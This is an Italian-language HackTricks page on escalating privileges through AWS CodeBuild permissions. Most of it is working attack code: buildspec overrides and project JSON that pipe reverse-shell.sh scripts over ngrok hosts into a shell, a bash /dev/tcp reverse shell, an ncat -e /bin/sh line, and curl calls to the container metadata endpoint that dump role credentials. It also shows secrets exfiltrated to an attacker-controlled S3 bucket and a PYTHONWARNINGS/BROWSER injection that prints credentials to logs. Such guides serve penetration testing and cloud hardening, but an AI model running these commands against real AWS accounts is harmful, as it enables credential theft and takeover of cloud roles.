AWS - Codebuild Privesc

Tip

Impara & pratica AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Impara & pratica GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Impara & pratica Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Sostieni HackTricks

codebuild

Ulteriori informazioni in:

AWS - Codebuild Enum

codebuild:StartBuild | codebuild:StartBuildBatch

Basta una di queste autorizzazioni per avviare una build con un nuovo buildspec e rubare il token del ruolo iam assegnato al progetto:

cat > /tmp/buildspec.yml <<EOF
version: 0.2

phases:
build:
commands:
- curl https://reverse-shell.sh/6.tcp.eu.ngrok.io:18499 | sh
EOF

aws codebuild start-build --project <project-name> --buildspec-override file:///tmp/buildspec.yml

Nota: La differenza tra questi due comandi è che:

  • StartBuild avvia un singolo job di build usando uno specifico buildspec.yml.
  • StartBuildBatch permette di avviare un batch di build, con configurazioni più complesse (per esempio eseguire più build in parallelo).

Impatto Potenziale: Direct privesc to attached AWS Codebuild roles.

StartBuild Env Var Override

Anche se non puoi modificare il progetto (UpdateProject) e non puoi sovrascrivere il buildspec, codebuild:StartBuild permette comunque di sovrascrivere le env vars durante la build tramite:

  • CLI: --environment-variables-override
  • API: environmentVariablesOverride

Se la build usa variabili d’ambiente per controllare il comportamento (destination buckets, feature flags, proxy settings, logging, ecc.), questo può essere sufficiente per exfiltrate secrets a cui il build role può accedere o per ottenere code execution all’interno della build.

Esempio 1: Reindirizzare Artifact/Upload Destination per Exfiltrate Secrets

Se la build pubblica un artifact in un bucket/path controllato da una env var (per esempio UPLOAD_BUCKET), sovrascrivila con un bucket controllato dall’attaccante:

export PROJECT="<project-name>"
export EXFIL_BUCKET="<attacker-controlled-bucket>"

export BUILD_ID=$(aws codebuild start-build \
--project-name "$PROJECT" \
--environment-variables-override name=UPLOAD_BUCKET,value="$EXFIL_BUCKET",type=PLAINTEXT \
--query build.id --output text)

# Wait for completion
while true; do
STATUS=$(aws codebuild batch-get-builds --ids "$BUILD_ID" --query 'builds[0].buildStatus' --output text)
[ "$STATUS" = "SUCCEEDED" ] && break
[ "$STATUS" = "FAILED" ] || [ "$STATUS" = "FAULT" ] || [ "$STATUS" = "STOPPED" ] || [ "$STATUS" = "TIMED_OUT" ] && exit 1
sleep 5
done

# Example expected location (depends on the buildspec/project logic):
aws s3 cp "s3://$EXFIL_BUCKET/uploads/$BUILD_ID/flag.txt" -
Esempio 2: Python Startup Injection via PYTHONWARNINGS + BROWSER

Se la build esegue python3 (comune nei buildspecs), a volte puoi ottenere l’esecuzione di codice senza toccare il buildspec abusando di:

  • PYTHONWARNINGS: Python risolve il campo category e importerà percorsi separati da punti. Impostarlo su ...:antigravity.x:... forza l’importazione del modulo stdlib antigravity.
  • antigravity: chiama webbrowser.open(...).
  • BROWSER: controlla cosa esegue webbrowser. Su Linux è separato da :. L’uso di #%s trasforma l’argomento URL in un commento di shell.

Questo può essere usato per stampare le credenziali del ruolo CodeBuild (da http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI) nei log di CloudWatch, quindi recuperarle se hai i permessi di lettura dei log.

Espandibile: StartBuild JSON request per il PYTHONWARNINGS + BROWSER trick ```json { "projectName": "codebuild_lab_7_project", "environmentVariablesOverride": [ { "name": "PYTHONWARNINGS", "value": "all:0:antigravity.x:0:0", "type": "PLAINTEXT" }, { "name": "BROWSER", "value": "/bin/sh -c 'echo CREDS_START; URL=$(printf \"http\\\\072//169.254.170.2%s\" \"$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI\"); curl -s \"$URL\"; echo CREDS_END' #%s", "type": "PLAINTEXT" } ] } ```

iam:PassRole, codebuild:CreateProject, (codebuild:StartBuild | codebuild:StartBuildBatch)

Un attaccante con le autorizzazioni iam:PassRole, codebuild:CreateProject, e codebuild:StartBuild o codebuild:StartBuildBatch sarebbe in grado di escalate privileges to any codebuild IAM role creando uno in esecuzione.

# Enumerate then env and get creds
REV="env\\\\n      - curl http://169.254.170.2\$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"

# Get rev shell
REV="curl https://reverse-shell.sh/4.tcp.eu.ngrok.io:11125 | bash"

JSON="{
\"name\": \"codebuild-demo-project\",
\"source\": {
\"type\": \"NO_SOURCE\",
\"buildspec\": \"version: 0.2\\\\n\\\\nphases:\\\\n  build:\\\\n    commands:\\\\n      - $REV\\\\n\"
},
\"artifacts\": {
\"type\": \"NO_ARTIFACTS\"
},
\"environment\": {
\"type\": \"LINUX_CONTAINER\",
\"image\": \"aws/codebuild/standard:1.0\",
\"computeType\": \"BUILD_GENERAL1_SMALL\"
},
\"serviceRole\": \"arn:aws:iam::947247140022:role/codebuild-CI-Build-service-role-2\"
}"


REV_PATH="/tmp/rev.json"

printf "$JSON" > $REV_PATH

# Create project
aws codebuild create-project --name codebuild-demo-project --cli-input-json file://$REV_PATH

# Build it
aws codebuild start-build --project-name codebuild-demo-project

# Wait 3-4 mins until it's executed
# Then you can access the logs in the console to find the AWS role token in the output

# Delete the project
aws codebuild delete-project --name codebuild-demo-project

Impatto potenziale: privesc diretto a qualsiasi ruolo AWS Codebuild.

Warning

In un Codebuild container il file /codebuild/output/tmp/env.sh contiene tutte le env vars necessarie per accedere alle metadata credentials.

Questo file contiene la env variable AWS_CONTAINER_CREDENTIALS_RELATIVE_URI che contiene il URL path per accedere alle credenziali. Sarà qualcosa del tipo /v2/credentials/2817702c-efcf-4485-9730-8e54303ec420

Aggiungilo all’URL http://169.254.170.2/ e sarai in grado di dump le credenziali del ruolo.

Inoltre contiene anche la env variable ECS_CONTAINER_METADATA_URI che contiene l’URL completo per ottenere le metadata info about the container.

iam:PassRole, codebuild:UpdateProject, (codebuild:StartBuild | codebuild:StartBuildBatch)

Come nella sezione precedente, se invece di creare un build project puoi modificarlo, puoi indicare l’IAM Role e steal the token

REV_PATH="/tmp/codebuild_pwn.json"

# Enumerate then env and get creds
REV="env\\\\n      - curl http://169.254.170.2\$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"

# Get rev shell
REV="curl https://reverse-shell.sh/4.tcp.eu.ngrok.io:11125 | bash"

# You need to indicate the name of the project you want to modify
JSON="{
\"name\": \"<codebuild-demo-project>\",
\"source\": {
\"type\": \"NO_SOURCE\",
\"buildspec\": \"version: 0.2\\\\n\\\\nphases:\\\\n  build:\\\\n    commands:\\\\n      - $REV\\\\n\"
},
\"artifacts\": {
\"type\": \"NO_ARTIFACTS\"
},
\"environment\": {
\"type\": \"LINUX_CONTAINER\",
\"image\": \"aws/codebuild/standard:1.0\",
\"computeType\": \"BUILD_GENERAL1_SMALL\"
},
\"serviceRole\": \"arn:aws:iam::947247140022:role/codebuild-CI-Build-service-role-2\"
}"

printf "$JSON" > $REV_PATH

aws codebuild update-project --name codebuild-demo-project --cli-input-json file://$REV_PATH

aws codebuild start-build --project-name codebuild-demo-project

Impatto potenziale: privesc diretto a qualsiasi AWS Codebuild role.

codebuild:UpdateProject, (codebuild:StartBuild | codebuild:StartBuildBatch)

Come nella sezione precedente ma senza il permesso iam:PassRole, puoi abusare di queste autorizzazioni per modificare progetti Codebuild esistenti e accedere al role che è già assegnato.

REV_PATH="/tmp/codebuild_pwn.json"

# Enumerate then env and get creds
REV="env\\\\n      - curl http://169.254.170.2\$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"

# Get rev shell
REV="curl https://reverse-shell.sh/4.tcp.eu.ngrok.io:11125 | sh"

JSON="{
\"name\": \"<codebuild-demo-project>\",
\"source\": {
\"type\": \"NO_SOURCE\",
\"buildspec\": \"version: 0.2\\\\n\\\\nphases:\\\\n  build:\\\\n    commands:\\\\n      - $REV\\\\n\"
},
\"artifacts\": {
\"type\": \"NO_ARTIFACTS\"
},
\"environment\": {
\"type\": \"LINUX_CONTAINER\",
\"image\": \"public.ecr.aws/h0h9t7p1/alpine-bash-curl-jq:latest\",
\"computeType\": \"BUILD_GENERAL1_SMALL\",
\"imagePullCredentialsType\": \"CODEBUILD\"
}
}"

# Note how it's used a image from AWS public ECR instead from docjerhub as dockerhub rate limits CodeBuild!

printf "$JSON" > $REV_PATH

aws codebuild update-project --cli-input-json file://$REV_PATH

aws codebuild start-build --project-name codebuild-demo-project

Impatto potenziale: Direct privesc ai ruoli AWS Codebuild allegati.

SSM

Avere sufficienti autorizzazioni per avviare una ssm session rende possibile accedere all’interno di un Codebuild project durante la build.

The codebuild project will need to have a breakpoint:

phases:
pre_build:
commands:
- echo Entered the pre_build phase...
- echo "Hello World" > /tmp/hello-world
      - codebuild-breakpoint

E poi:

aws codebuild batch-get-builds --ids <buildID> --region <region> --output json
aws ssm start-session --target <sessionTarget> --region <region>

For more info check the docs.

(codebuild:StartBuild | codebuild:StartBuildBatch), s3:GetObject, s3:PutObject

Un attacker in grado di avviare/riavviare una build di uno specifico progetto CodeBuild che memorizza il suo file buildspec.yml in un bucket S3 su cui l’attacker ha write access, può ottenere command execution nel processo CodeBuild.

Note: l’escalation è rilevante solo se il CodeBuild worker ha un role diverso, idealmente più privilegiato, rispetto a quello dell’attacker.

aws s3 cp s3://<build-configuration-files-bucket>/buildspec.yml ./

vim ./buildspec.yml

# Add the following lines in the "phases > pre_builds > commands" section
#
#    - apt-get install nmap -y
#    - ncat <IP> <PORT> -e /bin/sh

aws s3 cp ./buildspec.yml s3://<build-configuration-files-bucket>/buildspec.yml

aws codebuild start-build --project-name <project-name>

# Wait for the reverse shell :)

Puoi usare qualcosa di simile a questo buildspec per ottenere una reverse shell:

version: 0.2

phases:
build:
commands:
- bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/18419 0>&1

Impatto: Privesc diretto al ruolo usato dal worker di AWS CodeBuild che solitamente ha privilegi elevati.

Warning

Nota che il buildspec potrebbe essere previsto in formato zip, quindi un attaccante dovrebbe download, unzip, modify the buildspec.yml from the root directory, zip again and upload

Ulteriori dettagli sono disponibili qui.

Impatto potenziale: Privesc diretto ai ruoli AWS Codebuild associati.

Tip

Impara & pratica AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Impara & pratica GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Impara & pratica Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Sostieni HackTricks